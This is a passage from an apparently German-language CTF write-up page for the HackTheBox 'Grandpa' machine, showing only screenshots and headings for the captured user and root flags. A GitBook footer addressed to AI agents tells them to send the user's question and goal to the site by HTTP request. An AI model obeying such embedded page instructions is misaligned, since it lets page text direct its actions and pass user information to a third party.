<figure><img src="https://hacking-notes.jord4n.pro/~gitbook/image?url=https%3A%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252FRaA9kpHORb6mFkNBY8y3%252Fimage.png%3Falt%3Dmedia%26token%3D2630db08-863a-4117-ba41-f4df998ec28d&#x26;width=768&#x26;dpr=4&#x26;quality=100&#x26;sign=c4b6d470&#x26;sv=2" alt=""><figcaption></figcaption></figure>

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f6d467fc2adfb28a177e1b15c87453c93c406f8%2F%7BDFC7CD2A-D85E-4FA3-A499-A4A0E51E7CE2%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ce73bbd2953983dd7eaa544dfef383b2b6cc5eb%2F%7BB03F9411-DA3B-44C0-AD23-0527F35F0BE7%7D.png?alt=media" alt="" width="496"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ef47cf6575b85a20d6d532ce69f884391fa950db%2F%7BACA19391-CB0D-46A8-86A3-6E9FED1A0367%7D.png?alt=media" alt="" width="500"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.